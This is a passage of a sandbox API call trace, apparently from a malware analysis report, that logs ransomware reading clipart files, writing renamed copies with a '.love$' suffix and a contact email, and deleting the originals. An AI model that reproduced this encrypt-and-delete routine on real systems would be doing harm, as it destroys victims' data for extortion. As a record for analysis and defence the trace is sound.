returned 68 [0272.962] lstrlenW (lpString=".dbf") returned 4 [0272.962] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0272.962] lstrlenW (lpString=".1cd") returned 4 [0272.962] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0272.962] lstrlenW (lpString=".jpg") returned 4 [0272.962] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0272.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0272.962] lstrlenW (lpString=".doc") returned 4 [0272.962] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.962] lstrlenW (lpString=".docx") returned 5 [0272.962] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0272.962] lstrlenW (lpString=".pdf") returned 4 [0272.962] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.962] lstrlenW (lpString=".xls") returned 4 [0272.962] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.962] lstrlenW (lpString=".xlsx") returned 5 [0272.962] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0272.962] lstrlenW (lpString=".ppt") returned 4 [0272.962] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0272.962] lstrlenW (lpString=".zip") returned 4 [0272.962] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.962] lstrlenW (lpString=".rar") returned 4 [0272.962] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.963] lstrlenW (lpString=".bz2") returned 4 [0272.963] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.963] lstrlenW (lpString=".7z") returned 3 [0272.963] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0272.963] lstrlenW (lpString=".dbf") returned 4 [0272.963] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0272.963] lstrlenW (lpString=".1cd") returned 4 [0272.963] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0272.963] lstrlenW (lpString=".jpg") returned 4 [0272.963] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.963] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0272.963] lstrlenW (lpString="J0103850.WMF") returned 12 [0272.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0273.159] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=23596) returned 1 [0273.159] CloseHandle (hObject=0x4e4) returned 1 [0273.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 0x220 [0273.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0273.177] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.177] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0273.179] GetLastError () returned 0x0 [0273.179] ReadFile (in: hFile=0x4e4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x5c2c, lpOverlapped=0x0) returned 1 [0273.185] WriteFile (in: hFile=0x574, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x5c30, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x5c30, lpOverlapped=0x0) returned 1 [0273.187] ReadFile (in: hFile=0x4e4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.187] WriteFile (in: hFile=0x574, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.187] SetEndOfFile (hFile=0x574) returned 1 [0273.187] CloseHandle (hObject=0x574) returned 1 [0273.187] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.187] SetEndOfFile (hFile=0x4e4) returned 1 [0273.191] CloseHandle (hObject=0x4e4) returned 1 [0273.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 1 [0273.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0273.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0273.194] lstrlenW (lpString=".doc") returned 4 [0273.194] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.194] lstrlenW (lpString=".docx") returned 5 [0273.194] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0273.194] lstrlenW (lpString=".pdf") returned 4 [0273.194] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.194] lstrlenW (lpString=".xls") returned 4 [0273.194] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.194] lstrlenW (lpString=".xlsx") returned 5 [0273.194] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0273.194] lstrlenW (lpString=".ppt") returned 4 [0273.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0273.194] lstrlenW (lpString=".zip") returned 4 [0273.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.194] lstrlenW (lpString=".rar") returned 4 [0273.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.194] lstrlenW (lpString=".bz2") returned 4 [0273.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.194] lstrlenW (lpString=".7z") returned 3 [0273.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0273.194] lstrlenW (lpString=".dbf") returned 4 [0273.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0273.194] lstrlenW (lpString=".1cd") returned 4 [0273.195] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0273.195] lstrlenW (lpString=".jpg") returned 4 [0273.195] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0273.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0273.195] lstrlenW (lpString=".doc") returned 4 [0273.195] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.195] lstrlenW (lpString=".docx") returned 5 [0273.195] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0273.195] lstrlenW (lpString=".pdf") returned 4 [0273.195] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.195] lstrlenW (lpString=".xls") returned 4 [0273.195] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.195] lstrlenW (lpString=".xlsx") returned 5 [0273.195] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0273.195] lstrlenW (lpString=".ppt") returned 4 [0273.195] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0273.195] lstrlenW (lpString=".zip") returned 4 [0273.195] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.195] lstrlenW (lpString=".rar") returned 4 [0273.195] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.195] lstrlenW (lpString=".bz2") returned 4 [0273.195] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.195] lstrlenW (lpString=".7z") returned 3 [0273.195] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0273.196] lstrlenW (lpString=".dbf") returned 4 [0273.196] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0273.196] lstrlenW (lpString=".1cd") returned 4 [0273.196] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0273.196] lstrlenW (lpString=".jpg") returned 4 [0273.196] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.196] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0273.196] lstrlenW (lpString="J0105234.WMF") returned 12 [0273.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0273.198] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=3444) returned 1 [0273.198] CloseHandle (hObject=0x4e4) returned 1 [0273.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 0x220 [0273.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0273.199] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.199] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0273.201] GetLastError () returned 0x0 [0273.201] ReadFile (in: hFile=0x4e4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0xd74, lpOverlapped=0x0) returned 1 [0273.203] WriteFile (in: hFile=0x574, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xd80, lpOverlapped=0x0) returned 1 [0273.204] ReadFile (in: hFile=0x4e4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.204] WriteFile (in: hFile=0x574, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.204] SetEndOfFile (hFile=0x574) returned 1 [0273.205] CloseHandle (hObject=0x574) returned 1 [0273.205] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.205] SetEndOfFile (hFile=0x4e4) returned 1 [0273.208] CloseHandle (hObject=0x4e4) returned 1 [0273.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 1 [0273.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0273.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0273.210] lstrlenW (lpString=".doc") returned 4 [0273.210] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.210] lstrlenW (lpString=".docx") returned 5 [0273.210] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0273.210] lstrlenW (lpString=".pdf") returned 4 [0273.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.210] lstrlenW (lpString=".xls") returned 4 [0273.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.210] lstrlenW (lpString=".xlsx") returned 5 [0273.210] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0273.210] lstrlenW (lpString=".ppt") returned 4 [0273.210] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0273.210] lstrlenW (lpString=".zip") returned 4 [0273.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.210] lstrlenW (lpString=".rar") returned 4 [0273.211] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.211] lstrlenW (lpString=".bz2") returned 4 [0273.211] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.211] lstrlenW (lpString=".7z") returned 3 [0273.211] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0273.211] lstrlenW (lpString=".dbf") returned 4 [0273.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0273.211] lstrlenW (lpString=".1cd") returned 4 [0273.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0273.211] lstrlenW (lpString=".jpg") returned 4 [0273.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0273.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0273.211] lstrlenW (lpString=".doc") returned 4 [0273.211] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.211] lstrlenW (lpString=".docx") returned 5 [0273.211] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0273.211] lstrlenW (lpString=".pdf") returned 4 [0273.211] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.211] lstrlenW (lpString=".xls") returned 4 [0273.211] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.211] lstrlenW (lpString=".xlsx") returned 5 [0273.211] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0273.211] lstrlenW (lpString=".ppt") returned 4 [0273.212] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0273.212] lstrlenW (lpString=".zip") returned 4 [0273.212] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.212] lstrlenW (lpString=".rar") returned 4 [0273.212] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.212] lstrlenW (lpString=".bz2") returned 4 [0273.212] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.212] lstrlenW (lpString=".7z") returned 3 [0273.212] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0273.212] lstrlenW (lpString=".dbf") returned 4 [0273.212] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0273.212] lstrlenW (lpString=".1cd") returned 4 [0273.212] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0273.212] lstrlenW (lpString=".jpg") returned 4 [0273.212] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.212] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0273.212] lstrlenW (lpString="J0105238.WMF") returned 12 [0273.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0273.214] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=17172) returned 1 [0273.214] CloseHandle (hObject=0x4e4) returned 1 [0273.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 0x220 [0273.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0273.215] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.215] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0273.217] GetLastError () returned 0x0 [0273.217] ReadFile (in: hFile=0x4e4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x4314, lpOverlapped=0x0) returned 1 [0273.387] WriteFile (in: hFile=0x574, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x4320, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x4320, lpOverlapped=0x0) returned 1 [0273.389] ReadFile (in: hFile=0x4e4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.389] WriteFile (in: hFile=0x574, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.389] SetEndOfFile (hFile=0x574) returned 1 [0273.390] CloseHandle (hObject=0x574) returned 1 [0273.390] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.390] SetEndOfFile (hFile=0x4e4) returned 1 [0273.398] CloseHandle (hObject=0x4e4) returned 1 [0273.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 1 [0273.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0273.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0273.401] lstrlenW (lpString=".doc") returned 4 [0273.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.401] lstrlenW (lpString=".docx") returned 5 [0273.401] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0273.401] lstrlenW (lpString=".pdf") returned 4 [0273.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.401] lstrlenW (lpString=".xls") returned 4 [0273.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.401] lstrlenW (lpString=".xlsx") returned 5 [0273.401] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0273.401] lstrlenW (lpString=".ppt") returned 4 [0273.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0273.401] lstrlenW (lpString=".zip") returned 4 [0273.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.401] lstrlenW (lpString=".rar") returned 4 [0273.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.401] lstrlenW (lpString=".bz2") returned 4 [0273.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.401] lstrlenW (lpString=".7z") returned 3 [0273.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0273.401] lstrlenW (lpString=".dbf") returned 4 [0273.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0273.402] lstrlenW (lpString=".1cd") returned 4 [0273.402] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0273.402] lstrlenW (lpString=".jpg") returned 4 [0273.402] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.402] lstrlenW (lpString="C:\\Program 